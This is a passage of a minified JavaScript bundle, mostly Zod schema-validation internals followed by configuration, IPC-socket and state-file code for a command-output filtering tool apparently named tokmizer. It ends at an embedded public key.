e({...this._def,catchall:t})}pick(t){let n={};for(let r of z.objectKeys(t))t[r]&&this.shape[r]&&(n[r]=this.shape[r]);return new e({...this._def,shape:()=>n})}omit(t){let n={};for(let r of z.objectKeys(this.shape))t[r]||(n[r]=this.shape[r]);return new e({...this._def,shape:()=>n})}deepPartial(){return En(this)}partial(t){let n={};for(let r of z.objectKeys(this.shape)){let o=this.shape[r];t&&!t[r]?n[r]=o:n[r]=o.optional()}return new e({...this._def,shape:()=>n})}required(t){let n={};for(let r of z.objectKeys(this.shape))if(t&&!t[r])n[r]=this.shape[r];else{let s=this.shape[r];for(;s instanceof Pe;)s=s._def.innerType;n[r]=s}return new e({...this._def,shape:()=>n})}keyof(){return Gu(z.objectKeys(this.shape))}};xe.create=(e,t)=>new xe({shape:()=>e,unknownKeys:"strip",catchall:ze.create(),typeName:O.ZodObject,...D(t)});xe.strictCreate=(e,t)=>new xe({shape:()=>e,unknownKeys:"strict",catchall:ze.create(),typeName:O.ZodObject,...D(t)});xe.lazycreate=(e,t)=>new xe({shape:e,unknownKeys:"strip",catchall:ze.create(),typeName:O.ZodObject,...D(t)});Zt=class extends j{_parse(t){let{ctx:n}=this._processInputParams(t),r=this._def.options;function o(s){for(let a of s)if(a.result.status==="valid")return a.result;for(let a of s)if(a.result.status==="dirty")return n.common.issues.push(...a.ctx.common.issues),a.result;let i=s.map(a=>new Se(a.ctx.common.issues));return E(n,{code:_.invalid_union,unionErrors:i}),$}if(n.common.async)return Promise.all(r.map(async s=>{let i={...n,common:{...n.common,issues:[]},parent:null};return{result:await s._parseAsync({data:n.data,path:n.path,parent:i}),ctx:i}})).then(o);{let s,i=[];for(let l of r){let c={...n,common:{...n.common,issues:[]},parent:null},u=l._parseSync({data:n.data,path:n.path,parent:c});if(u.status==="valid")return u;u.status==="dirty"&&!s&&(s={result:u,ctx:c}),c.common.issues.length&&i.push(c.common.issues)}if(s)return n.common.issues.push(...s.ctx.common.issues),s.result;let a=i.map(l=>new Se(l));return E(n,{code:_.invalid_union,unionErrors:a}),$}}get options(){return this._def.options}};Zt.create=(e,t)=>new Zt({options:e,typeName:O.ZodUnion,...D(t)});at=e=>e instanceof Wt?at(e.schema):e instanceof Me?at(e.innerType()):e instanceof Vt?[e.value]:e instanceof qt?e.options:e instanceof Yt?z.objectValues(e.enum):e instanceof Xt?at(e._def.innerType):e instanceof Jt?[void 0]:e instanceof Gt?[null]:e instanceof Pe?[void 0,...at(e.unwrap())]:e instanceof et?[null,...at(e.unwrap())]:e instanceof Fr||e instanceof en?at(e.unwrap()):e instanceof Qt?at(e._def.innerType):[],rs=class e extends j{_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.object)return E(n,{code:_.invalid_type,expected:v.object,received:n.parsedType}),$;let r=this.discriminator,o=n.data[r],s=this.optionsMap.get(o);return s?n.common.async?s._parseAsync({data:n.data,path:n.path,parent:n}):s._parseSync({data:n.data,path:n.path,parent:n}):(E(n,{code:_.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[r]}),$)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(t,n,r){let o=new Map;for(let s of n){let i=at(s.shape[t]);if(!i.length)throw new Error(`A discriminator value for key \`${t}\` could not be extracted from all schema options`);for(let a of i){if(o.has(a))throw new Error(`Discriminator property ${String(t)} has duplicate value ${String(a)}`);o.set(a,s)}}return new e({typeName:O.ZodDiscriminatedUnion,discriminator:t,options:n,optionsMap:o,...D(r)})}};Kt=class extends j{_parse(t){let{status:n,ctx:r}=this._processInputParams(t),o=(s,i)=>{if(ts(s)||ts(i))return $;let a=ma(s.value,i.value);return a.valid?((ns(s)||ns(i))&&n.dirty(),{status:n.value,value:a.data}):(E(r,{code:_.invalid_intersection_types}),$)};return r.common.async?Promise.all([this._def.left._parseAsync({data:r.data,path:r.path,parent:r}),this._def.right._parseAsync({data:r.data,path:r.path,parent:r})]).then(([s,i])=>o(s,i)):o(this._def.left._parseSync({data:r.data,path:r.path,parent:r}),this._def.right._parseSync({data:r.data,path:r.path,parent:r}))}};Kt.create=(e,t,n)=>new Kt({left:e,right:t,typeName:O.ZodIntersection,...D(n)});Qe=class e extends j{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.array)return E(r,{code:_.invalid_type,expected:v.array,received:r.parsedType}),$;if(r.data.length<this._def.items.length)return E(r,{code:_.too_small,minimum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),$;!this._def.rest&&r.data.length>this._def.items.length&&(E(r,{code:_.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),n.dirty());let s=[...r.data].map((i,a)=>{let l=this._def.items[a]||this._def.rest;return l?l._parse(new Ne(r,i,r.path,a)):null}).filter(i=>!!i);return r.common.async?Promise.all(s).then(i=>ne.mergeArray(n,i)):ne.mergeArray(n,s)}get items(){return this._def.items}rest(t){return new e({...this._def,rest:t})}};Qe.create=(e,t)=>{if(!Array.isArray(e))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new Qe({items:e,typeName:O.ZodTuple,rest:null,...D(t)})};os=class e extends j{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.object)return E(r,{code:_.invalid_type,expected:v.object,received:r.parsedType}),$;let o=[],s=this._def.keyType,i=this._def.valueType;for(let a in r.data)o.push({key:s._parse(new Ne(r,a,r.path,a)),value:i._parse(new Ne(r,r.data[a],r.path,a)),alwaysSet:a in r.data});return r.common.async?ne.mergeObjectAsync(n,o):ne.mergeObjectSync(n,o)}get element(){return this._def.valueType}static create(t,n,r){return n instanceof j?new e({keyType:t,valueType:n,typeName:O.ZodRecord,...D(r)}):new e({keyType:Et.create(),valueType:t,typeName:O.ZodRecord,...D(n)})}},Rn=class extends j{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.map)return E(r,{code:_.invalid_type,expected:v.map,received:r.parsedType}),$;let o=this._def.keyType,s=this._def.valueType,i=[...r.data.entries()].map(([a,l],c)=>({key:o._parse(new Ne(r,a,r.path,[c,"key"])),value:s._parse(new Ne(r,l,r.path,[c,"value"]))}));if(r.common.async){let a=new Map;return Promise.resolve().then(async()=>{for(let l of i){let c=await l.key,u=await l.value;if(c.status==="aborted"||u.status==="aborted")return $;(c.status==="dirty"||u.status==="dirty")&&n.dirty(),a.set(c.value,u.value)}return{status:n.value,value:a}})}else{let a=new Map;for(let l of i){let c=l.key,u=l.value;if(c.status==="aborted"||u.status==="aborted")return $;(c.status==="dirty"||u.status==="dirty")&&n.dirty(),a.set(c.value,u.value)}return{status:n.value,value:a}}}};Rn.create=(e,t,n)=>new Rn({valueType:t,keyType:e,typeName:O.ZodMap,...D(n)});An=class e extends j{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.parsedType!==v.set)return E(r,{code:_.invalid_type,expected:v.set,received:r.parsedType}),$;let o=this._def;o.minSize!==null&&r.data.size<o.minSize.value&&(E(r,{code:_.too_small,minimum:o.minSize.value,type:"set",inclusive:!0,exact:!1,message:o.minSize.message}),n.dirty()),o.maxSize!==null&&r.data.size>o.maxSize.value&&(E(r,{code:_.too_big,maximum:o.maxSize.value,type:"set",inclusive:!0,exact:!1,message:o.maxSize.message}),n.dirty());let s=this._def.valueType;function i(l){let c=new Set;for(let u of l){if(u.status==="aborted")return $;u.status==="dirty"&&n.dirty(),c.add(u.value)}return{status:n.value,value:c}}let a=[...r.data.values()].map((l,c)=>s._parse(new Ne(r,l,r.path,c)));return r.common.async?Promise.all(a).then(l=>i(l)):i(a)}min(t,n){return new e({...this._def,minSize:{value:t,message:R.toString(n)}})}max(t,n){return new e({...this._def,maxSize:{value:t,message:R.toString(n)}})}size(t,n){return this.min(t,n).max(t,n)}nonempty(t){return this.min(1,t)}};An.create=(e,t)=>new An({valueType:e,minSize:null,maxSize:null,typeName:O.ZodSet,...D(t)});ss=class e extends j{constructor(){super(...arguments),this.validate=this.implement}_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.function)return E(n,{code:_.invalid_type,expected:v.function,received:n.parsedType}),$;function r(a,l){return Dr({data:a,path:n.path,errorMaps:[n.common.contextualErrorMap,n.schemaErrorMap,Sn(),it].filter(c=>!!c),issueData:{code:_.invalid_arguments,argumentsError:l}})}function o(a,l){return Dr({data:a,path:n.path,errorMaps:[n.common.contextualErrorMap,n.schemaErrorMap,Sn(),it].filter(c=>!!c),issueData:{code:_.invalid_return_type,returnTypeError:l}})}let s={errorMap:n.common.contextualErrorMap},i=n.data;if(this._def.returns instanceof Tt){let a=this;return ue(async function(...l){let c=new Se([]),u=await a._def.args.parseAsync(l,s).catch(m=>{throw c.addIssue(r(l,m)),c}),f=await Reflect.apply(i,this,u);return await a._def.returns._def.type.parseAsync(f,s).catch(m=>{throw c.addIssue(o(f,m)),c})})}else{let a=this;return ue(function(...l){let c=a._def.args.safeParse(l,s);if(!c.success)throw new Se([r(l,c.error)]);let u=Reflect.apply(i,this,c.data),f=a._def.returns.safeParse(u,s);if(!f.success)throw new Se([o(u,f.error)]);return f.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...t){return new e({...this._def,args:Qe.create(t).rest(lt.create())})}returns(t){return new e({...this._def,returns:t})}implement(t){return this.parse(t)}strictImplement(t){return this.parse(t)}static create(t,n,r){return new e({args:t||Qe.create([]).rest(lt.create()),returns:n||lt.create(),typeName:O.ZodFunction,...D(r)})}},Wt=class extends j{get schema(){return this._def.getter()}_parse(t){let{ctx:n}=this._processInputParams(t);return this._def.getter()._parse({data:n.data,path:n.path,parent:n})}};Wt.create=(e,t)=>new Wt({getter:e,typeName:O.ZodLazy,...D(t)});Vt=class extends j{_parse(t){if(t.data!==this._def.value){let n=this._getOrReturnCtx(t);return E(n,{received:n.data,code:_.invalid_literal,expected:this._def.value}),$}return{status:"valid",value:t.data}}get value(){return this._def.value}};Vt.create=(e,t)=>new Vt({value:e,typeName:O.ZodLiteral,...D(t)});qt=class e extends j{_parse(t){if(typeof t.data!="string"){let n=this._getOrReturnCtx(t),r=this._def.values;return E(n,{expected:z.joinValues(r),received:n.parsedType,code:_.invalid_type}),$}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(t.data)){let n=this._getOrReturnCtx(t),r=this._def.values;return E(n,{received:n.data,code:_.invalid_enum_value,options:r}),$}return ue(t.data)}get options(){return this._def.values}get enum(){let t={};for(let n of this._def.values)t[n]=n;return t}get Values(){let t={};for(let n of this._def.values)t[n]=n;return t}get Enum(){let t={};for(let n of this._def.values)t[n]=n;return t}extract(t,n=this._def){return e.create(t,{...this._def,...n})}exclude(t,n=this._def){return e.create(this.options.filter(r=>!t.includes(r)),{...this._def,...n})}};qt.create=Gu;Yt=class extends j{_parse(t){let n=z.getValidEnumValues(this._def.values),r=this._getOrReturnCtx(t);if(r.parsedType!==v.string&&r.parsedType!==v.number){let o=z.objectValues(n);return E(r,{expected:z.joinValues(o),received:r.parsedType,code:_.invalid_type}),$}if(this._cache||(this._cache=new Set(z.getValidEnumValues(this._def.values))),!this._cache.has(t.data)){let o=z.objectValues(n);return E(r,{received:r.data,code:_.invalid_enum_value,options:o}),$}return ue(t.data)}get enum(){return this._def.values}};Yt.create=(e,t)=>new Yt({values:e,typeName:O.ZodNativeEnum,...D(t)});Tt=class extends j{unwrap(){return this._def.type}_parse(t){let{ctx:n}=this._processInputParams(t);if(n.parsedType!==v.promise&&n.common.async===!1)return E(n,{code:_.invalid_type,expected:v.promise,received:n.parsedType}),$;let r=n.parsedType===v.promise?n.data:Promise.resolve(n.data);return ue(r.then(o=>this._def.type.parseAsync(o,{path:n.path,errorMap:n.common.contextualErrorMap})))}};Tt.create=(e,t)=>new Tt({type:e,typeName:O.ZodPromise,...D(t)});Me=class extends j{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===O.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(t){let{status:n,ctx:r}=this._processInputParams(t),o=this._def.effect||null,s={addIssue:i=>{E(r,i),i.fatal?n.abort():n.dirty()},get path(){return r.path}};if(s.addIssue=s.addIssue.bind(s),o.type==="preprocess"){let i=o.transform(r.data,s);if(r.common.async)return Promise.resolve(i).then(async a=>{if(n.value==="aborted")return $;let l=await this._def.schema._parseAsync({data:a,path:r.path,parent:r});return l.status==="aborted"?$:l.status==="dirty"?Ht(l.value):n.value==="dirty"?Ht(l.value):l});{if(n.value==="aborted")return $;let a=this._def.schema._parseSync({data:i,path:r.path,parent:r});return a.status==="aborted"?$:a.status==="dirty"?Ht(a.value):n.value==="dirty"?Ht(a.value):a}}if(o.type==="refinement"){let i=a=>{let l=o.refinement(a,s);if(r.common.async)return Promise.resolve(l);if(l instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return a};if(r.common.async===!1){let a=this._def.schema._parseSync({data:r.data,path:r.path,parent:r});return a.status==="aborted"?$:(a.status==="dirty"&&n.dirty(),i(a.value),{status:n.value,value:a.value})}else return this._def.schema._parseAsync({data:r.data,path:r.path,parent:r}).then(a=>a.status==="aborted"?$:(a.status==="dirty"&&n.dirty(),i(a.value).then(()=>({status:n.value,value:a.value}))))}if(o.type==="transform")if(r.common.async===!1){let i=this._def.schema._parseSync({data:r.data,path:r.path,parent:r});if(!xt(i))return $;let a=o.transform(i.value,s);if(a instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:n.value,value:a}}else return this._def.schema._parseAsync({data:r.data,path:r.path,parent:r}).then(i=>xt(i)?Promise.resolve(o.transform(i.value,s)).then(a=>({status:n.value,value:a})):$);z.assertNever(o)}};Me.create=(e,t,n)=>new Me({schema:e,typeName:O.ZodEffects,effect:t,...D(n)});Me.createWithPreprocess=(e,t,n)=>new Me({schema:t,effect:{type:"preprocess",transform:e},typeName:O.ZodEffects,...D(n)});Pe=class extends j{_parse(t){return this._getType(t)===v.undefined?ue(void 0):this._def.innerType._parse(t)}unwrap(){return this._def.innerType}};Pe.create=(e,t)=>new Pe({innerType:e,typeName:O.ZodOptional,...D(t)});et=class extends j{_parse(t){return this._getType(t)===v.null?ue(null):this._def.innerType._parse(t)}unwrap(){return this._def.innerType}};et.create=(e,t)=>new et({innerType:e,typeName:O.ZodNullable,...D(t)});Xt=class extends j{_parse(t){let{ctx:n}=this._processInputParams(t),r=n.data;return n.parsedType===v.undefined&&(r=this._def.defaultValue()),this._def.innerType._parse({data:r,path:n.path,parent:n})}removeDefault(){return this._def.innerType}};Xt.create=(e,t)=>new Xt({innerType:e,typeName:O.ZodDefault,defaultValue:typeof t.default=="function"?t.default:()=>t.default,...D(t)});Qt=class extends j{_parse(t){let{ctx:n}=this._processInputParams(t),r={...n,common:{...n.common,issues:[]}},o=this._def.innerType._parse({data:r.data,path:r.path,parent:{...r}});return xn(o)?o.then(s=>({status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new Se(r.common.issues)},input:r.data})})):{status:"valid",value:o.status==="valid"?o.value:this._def.catchValue({get error(){return new Se(r.common.issues)},input:r.data})}}removeCatch(){return this._def.innerType}};Qt.create=(e,t)=>new Qt({innerType:e,typeName:O.ZodCatch,catchValue:typeof t.catch=="function"?t.catch:()=>t.catch,...D(t)});$n=class extends j{_parse(t){if(this._getType(t)!==v.nan){let r=this._getOrReturnCtx(t);return E(r,{code:_.invalid_type,expected:v.nan,received:r.parsedType}),$}return{status:"valid",value:t.data}}};$n.create=e=>new $n({typeName:O.ZodNaN,...D(e)});Jw=Symbol("zod_brand"),Fr=class extends j{_parse(t){let{ctx:n}=this._processInputParams(t),r=n.data;return this._def.type._parse({data:r,path:n.path,parent:n})}unwrap(){return this._def.type}},Lr=class e extends j{_parse(t){let{status:n,ctx:r}=this._processInputParams(t);if(r.common.async)return(async()=>{let s=await this._def.in._parseAsync({data:r.data,path:r.path,parent:r});return s.status==="aborted"?$:s.status==="dirty"?(n.dirty(),Ht(s.value)):this._def.out._parseAsync({data:s.value,path:r.path,parent:r})})();{let o=this._def.in._parseSync({data:r.data,path:r.path,parent:r});return o.status==="aborted"?$:o.status==="dirty"?(n.dirty(),{status:"dirty",value:o.value}):this._def.out._parseSync({data:o.value,path:r.path,parent:r})}}static create(t,n){return new e({in:t,out:n,typeName:O.ZodPipeline})}},en=class extends j{_parse(t){let n=this._def.innerType._parse(t),r=o=>(xt(o)&&(o.value=Object.freeze(o.value)),o);return xn(n)?n.then(o=>r(o)):r(n)}unwrap(){return this._def.innerType}};en.create=(e,t)=>new en({innerType:e,typeName:O.ZodReadonly,...D(t)});Gw={object:xe.lazycreate};(function(e){e.ZodString="ZodString",e.ZodNumber="ZodNumber",e.ZodNaN="ZodNaN",e.ZodBigInt="ZodBigInt",e.ZodBoolean="ZodBoolean",e.ZodDate="ZodDate",e.ZodSymbol="ZodSymbol",e.ZodUndefined="ZodUndefined",e.ZodNull="ZodNull",e.ZodAny="ZodAny",e.ZodUnknown="ZodUnknown",e.ZodNever="ZodNever",e.ZodVoid="ZodVoid",e.ZodArray="ZodArray",e.ZodObject="ZodObject",e.ZodUnion="ZodUnion",e.ZodDiscriminatedUnion="ZodDiscriminatedUnion",e.ZodIntersection="ZodIntersection",e.ZodTuple="ZodTuple",e.ZodRecord="ZodRecord",e.ZodMap="ZodMap",e.ZodSet="ZodSet",e.ZodFunction="ZodFunction",e.ZodLazy="ZodLazy",e.ZodLiteral="ZodLiteral",e.ZodEnum="ZodEnum",e.ZodEffects="ZodEffects",e.ZodNativeEnum="ZodNativeEnum",e.ZodOptional="ZodOptional",e.ZodNullable="ZodNullable",e.ZodDefault="ZodDefault",e.ZodCatch="ZodCatch",e.ZodPromise="ZodPromise",e.ZodBranded="ZodBranded",e.ZodPipeline="ZodPipeline",e.ZodReadonly="ZodReadonly"})(O||(O={}));Zw=(e,t={message:`Input not instance of ${e.name}`})=>Zu(n=>n instanceof e,t),Ku=Et.create,Wu=jt.create,Kw=$n.create,Ww=Bt.create,Vu=zt.create,Vw=Ut.create,qw=vn.create,Yw=Jt.create,Xw=Gt.create,Qw=vt.create,e0=lt.create,t0=ze.create,n0=Tn.create,r0=ct.create,o0=xe.create,s0=xe.strictCreate,i0=Zt.create,a0=rs.create,l0=Kt.create,c0=Qe.create,u0=os.create,f0=Rn.create,d0=An.create,m0=ss.create,p0=Wt.create,g0=Vt.create,h0=qt.create,y0=Yt.create,k0=Tt.create,b0=Me.create,w0=Pe.create,_0=et.create,S0=Me.createWithPreprocess,x0=Lr.create,E0=()=>Ku().optional(),v0=()=>Wu().optional(),T0=()=>Vu().optional(),R0={string:(e=>Et.create({...e,coerce:!0})),number:(e=>jt.create({...e,coerce:!0})),boolean:(e=>zt.create({...e,coerce:!0})),bigint:(e=>Bt.create({...e,coerce:!0})),date:(e=>Ut.create({...e,coerce:!0}))},A0=$});var k={};he(k,{BRAND:()=>Jw,DIRTY:()=>Ht,EMPTY_PATH:()=>Sw,INVALID:()=>$,NEVER:()=>A0,OK:()=>ue,ParseStatus:()=>ne,Schema:()=>j,ZodAny:()=>vt,ZodArray:()=>ct,ZodBigInt:()=>Bt,ZodBoolean:()=>zt,ZodBranded:()=>Fr,ZodCatch:()=>Qt,ZodDate:()=>Ut,ZodDefault:()=>Xt,ZodDiscriminatedUnion:()=>rs,ZodEffects:()=>Me,ZodEnum:()=>qt,ZodError:()=>Se,ZodFirstPartyTypeKind:()=>O,ZodFunction:()=>ss,ZodIntersection:()=>Kt,ZodIssueCode:()=>_,ZodLazy:()=>Wt,ZodLiteral:()=>Vt,ZodMap:()=>Rn,ZodNaN:()=>$n,ZodNativeEnum:()=>Yt,ZodNever:()=>ze,ZodNull:()=>Gt,ZodNullable:()=>et,ZodNumber:()=>jt,ZodObject:()=>xe,ZodOptional:()=>Pe,ZodParsedType:()=>v,ZodPipeline:()=>Lr,ZodPromise:()=>Tt,ZodReadonly:()=>en,ZodRecord:()=>os,ZodSchema:()=>j,ZodSet:()=>An,ZodString:()=>Et,ZodSymbol:()=>vn,ZodTransformer:()=>Me,ZodTuple:()=>Qe,ZodType:()=>j,ZodUndefined:()=>Jt,ZodUnion:()=>Zt,ZodUnknown:()=>lt,ZodVoid:()=>Tn,addIssueToContext:()=>E,any:()=>Qw,array:()=>r0,bigint:()=>Ww,boolean:()=>Vu,coerce:()=>R0,custom:()=>Zu,date:()=>Vw,datetimeRegex:()=>Ju,defaultErrorMap:()=>it,discriminatedUnion:()=>a0,effect:()=>b0,enum:()=>h0,function:()=>m0,getErrorMap:()=>Sn,getParsedType:()=>Xe,instanceof:()=>Zw,intersection:()=>l0,isAborted:()=>ts,isAsync:()=>xn,isDirty:()=>ns,isValid:()=>xt,late:()=>Gw,lazy:()=>p0,literal:()=>g0,makeIssue:()=>Dr,map:()=>f0,nan:()=>Kw,nativeEnum:()=>y0,never:()=>t0,null:()=>Xw,nullable:()=>_0,number:()=>Wu,object:()=>o0,objectUtil:()=>ca,oboolean:()=>T0,onumber:()=>v0,optional:()=>w0,ostring:()=>E0,pipeline:()=>x0,preprocess:()=>S0,promise:()=>k0,quotelessJson:()=>bw,record:()=>u0,set:()=>d0,setErrorMap:()=>_w,strictObject:()=>s0,string:()=>Ku,symbol:()=>qw,transformer:()=>b0,tuple:()=>c0,undefined:()=>Yw,union:()=>i0,unknown:()=>e0,util:()=>z,void:()=>n0});var pa=y(()=>{es();fa();Lu();Mr();qu();Qo()});var tn=y(()=>{pa();pa()});var Rt,Hr=y(()=>{"use strict";tn();Rt=k.object({slug:k.string().min(1).max(64),description:k.string().max(255).optional(),match_command:k.string().min(1),priority:k.number().int().default(50),strip_ansi:k.boolean().default(!1),strip_lines_matching:k.array(k.string()).default([]),drop_lines_matching:k.array(k.string()).default([]),keep_failures:k.boolean().default(!1),strip_on_failure:k.boolean().default(!1),fold_passing:k.boolean().default(!1),fold_passing_threshold:k.number().int().positive().max(1e3).optional(),mask_abs_paths:k.boolean().default(!1),preserve_exact:k.boolean().default(!1),truncate_lines_at:k.number().int().positive().max(1e4).optional(),max_lines:k.number().int().positive().max(1e5).optional(),scale_with_level:k.boolean().default(!0),transform:k.string().max(64).optional(),transform_on_failure:k.boolean().default(!1),on_empty:k.string().max(255).optional()})});function At(e){return JSON.stringify(e)+Cn}function*is(e){let t=0;for(;;){let n=e.indexOf(Cn,t);if(n<0)return;yield e.slice(t,n),t=n+1}}function jr(){return`${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2,8)}`}var $0,C0,O0,I0,Yu,ZM,KM,Xu,Cn,Qu,ga=y(()=>{"use strict";tn();Hr();$0=k.object({id:k.string().min(1).max(64),op:k.literal("filter"),cmd:k.string().min(1).max(2048),plan:k.enum(["trial","smart","pro"]),allowed:k.array(k.string().min(1).max(64)).max(512).optional(),installId:k.string().min(1).max(64).optional()}),C0=k.object({id:k.string().min(1).max(64),op:k.literal("ping")}),O0=k.object({id:k.string().min(1).max(64),op:k.literal("shutdown"),installId:k.string().min(1).max(64)}),I0=k.object({id:k.string().min(1).max(64),op:k.literal("reload"),installId:k.string().min(1).max(64).optional()}),Yu=k.discriminatedUnion("op",[$0,C0,O0,I0]),ZM=k.object({id:k.string(),ok:k.literal(!0),data:k.unknown()}),KM=k.object({id:k.string(),ok:k.literal(!1),err:k.string(),retryAfterMs:k.number().int().nonnegative().optional()}),Xu=k.object({filter:Rt.nullable(),cacheHit:k.boolean().optional()}),Cn=`
4
+ `,Qu=64*1024});import ef from"node:os";import{join as Ee}from"node:path";function b(){return process.env.TOKMIZER_HOME||Ee(ef.homedir(),".tokmizer")}function Br(){return Ee(b(),"install-id")}function as(){return Ee(b(),"bundle-refresh.json")}function ls(){return Ee(b(),"bundle-versions.json")}function cs(){return Ee(b(),"skills")}function De(e){return Ee(cs(),`${e}.md`)}function $t(){return Ee(b(),"content-cache")}function tf(){return Ee(b(),"restore.json")}function ha(e){return Ee($t(),e)}function us(){return Ee(b(),"reducer-context.txt")}function zr(){return Ee(b(),"reducer-rules.json")}function ya(){return Ee(b(),"managed-commands.json")}function fs(){return process.env.TOKMIZER_CLAUDE_COMMANDS_DIR||Ee(ef.homedir(),".claude","commands")}function nn(e){return Ee(fs(),`${e}.md`)}var U=y(()=>{"use strict"});import P0 from"node:os";import{join as Ur}from"node:path";import{existsSync as N0,statSync as M0,lstatSync as nf,unlinkSync as D0,mkdirSync as F0,chmodSync as L0}from"node:fs";import{createHash as H0}from"node:crypto";function j0(e){let t=H0("sha256").update(b()).digest("hex").slice(0,8),n=Ur(P0.tmpdir(),`tkr-${e}-${t}`),r=Ur(n,"d.sock");if(Buffer.byteLength(r)>ka)throw new Error("Temporary directory path is too long for IPC");return rf(n,e),r}function B0(e,t){try{let n=nf(e);return n.isDirectory()&&n.uid===t&&(n.mode&63)===0}catch{return!1}}function rf(e,t){F0(e,{recursive:!0,mode:448});let n=nf(e);if(!n.isDirectory()||n.uid!==t)throw new Error("Unsafe IPC directory");L0(e,448)}function ut(){if(process.platform==="win32")return{path:`\\\\.\\pipe\\tokmizer-${process.env.USERNAME??"tokmizer"}`,isPipe:!0};let e=typeof process.getuid=="function"?process.getuid():0,t=process.env.XDG_RUNTIME_DIR;if(t&&B0(t,e)){let o=Ur(t,`tokmizer-${e}.sock`);if(Buffer.byteLength(o)<=ka)return{path:o,isPipe:!1}}let n=Ur(b(),"run"),r=Ur(n,"daemon.sock");return Buffer.byteLength(r)>ka?{path:j0(e),isPipe:!1}:(rf(n,e),{path:r,isPipe:!1})}async function Jr(){let{path:e,isPipe:t}=ut();if(t||!N0(e))return;try{if(!M0(e).isSocket())return}catch{return}let n=await import("node:net");if(!await new Promise(o=>{let s=n.createConnection(e),i=a=>{s.removeAllListeners();try{s.destroy()}catch{}o(a)};s.once("connect",()=>i(!0)),s.once("error",a=>{let l=a.code;i(l!=="ECONNREFUSED"&&l!=="ENOENT")}),setTimeout(()=>i(!0),250)}))try{D0(e)}catch{}}function af(){let e=process.ppid;if(!e||e===1)return!1;try{return process.kill(e,0),!0}catch{return!1}}var ka,of,sf,ds=y(()=>{"use strict";U();ka=100;of=3e4,sf=5*6e4});var ff={};he(ff,{OutputVerbosity:()=>cf,ReducerLevel:()=>uf,Settings:()=>rn,slugKey:()=>fe});import{createHash as z0}from"node:crypto";function fe(e){let t=lf.get(e);return t||(t=z0("sha256").update(`tkr:${e}`).digest("hex").slice(0,16),lf.set(e,t)),t}var cf,uf,rn,lf,ft=y(()=>{"use strict";tn();cf=k.enum(["normal","compact","minimal"]),uf=k.enum(["off","light","balanced","max"]),rn=k.object({enabled:k.boolean().default(!0),telemetryOptIn:k.boolean().default(!0),outputVerbosity:cf.default("compact"),reducer:uf.default("off"),filters:k.object({enableAll:k.boolean().default(!0),disabled:k.array(k.string().max(64)).max(100).default([])}).default({enableAll:!0,disabled:[]})}),lf=new Map});function On(e,t,n,r=t){let o=df.get(r);o||(o=new Map,df.set(r,o));let s=JSON.stringify([e,n?[...n].sort():null]),i=o.get(s);if(i!==void 0)return i;let a=null;for(let l of t)n&&!n.has(fe(l.slug))||l.matchRegex.test(e)&&(!a||l.priority>a.priority)&&(a=l);if(o.size>=U0){let l=o.keys().next().value;l&&o.delete(l)}return o.set(s,a),a}var df,U0,ms=y(()=>{"use strict";ft();df=new WeakMap,U0=256});import{join as ba}from"node:path";import{mkdir as J0,readFile as G0,writeFile as Z0,unlink as mf,rename as K0}from"node:fs/promises";function ps(){try{let e=Intl.DateTimeFormat().resolvedOptions().timeZone;return e&&e.length>0?e:"Etc/UTC"}catch{return"Etc/UTC"}}function _a(e){return e?.dir??b()}async function q(e){let t=_a(e);try{let n=await G0(ba(t,wa),"utf8"),r=JSON.parse(n),o=r.timeZone;return{...r,lastSettingsRevision:r.lastSettingsRevision??0,get timeZone(){return o??=ps()},bonusActive:r.bonusActive??!1,...r.bonusResetAt!==void 0?{bonusResetAt:r.bonusResetAt}:{}}}catch{return null}}async function Sa(e,t){let n=_a(t);await J0(n,{recursive:!0,mode:448}),e.installedAt==null&&(e.installedAt=Math.floor(Date.now()/1e3));let r=ba(n,wa),o=`${r}.tmp-${process.pid}-${process.hrtime.bigint()}`;await Z0(o,JSON.stringify(e,null,2),{mode:384});try{await K0(o,r)}catch(s){try{await mf(o)}catch{}throw s}}async function pf(e){let t=_a(e);try{await mf(ba(t,wa))}catch{return}}var wa,Ue=y(()=>{"use strict";U();wa="state.json"});import{createRequire as W0}from"node:module";function q0(){let e="1.0.1";if(e)return e;for(let t of["../package.json","../../package.json"])try{let n=V0(t).version;if(typeof n=="string"&&n)return n}catch{}return"0.0.0"}function on(e,t){if(!e||!t)return!1;let n=e.split(".").map(o=>parseInt(o,10)),r=t.split(".").map(o=>parseInt(o,10));for(let o=0;o<3;o+=1){let s=n[o]??0,i=r[o]??0;if(Number.isNaN(s)||Number.isNaN(i))return!1;if(s<i)return!0;if(s>i)return!1}return!1}var V0,ye,Ct=y(()=>{"use strict";V0=W0(import.meta.url);ye=q0()});var gf,hf=y(()=>{"use strict";gf=`-----BEGIN PUBLIC KEY-----
5
5
  MCowBQYDK2VwAyEAj/kMlXlhTIGHRKxOKMuGFa1S1ybxxwgdYcAE0YM9fgU=
6
6
  -----END PUBLIC KEY-----
7
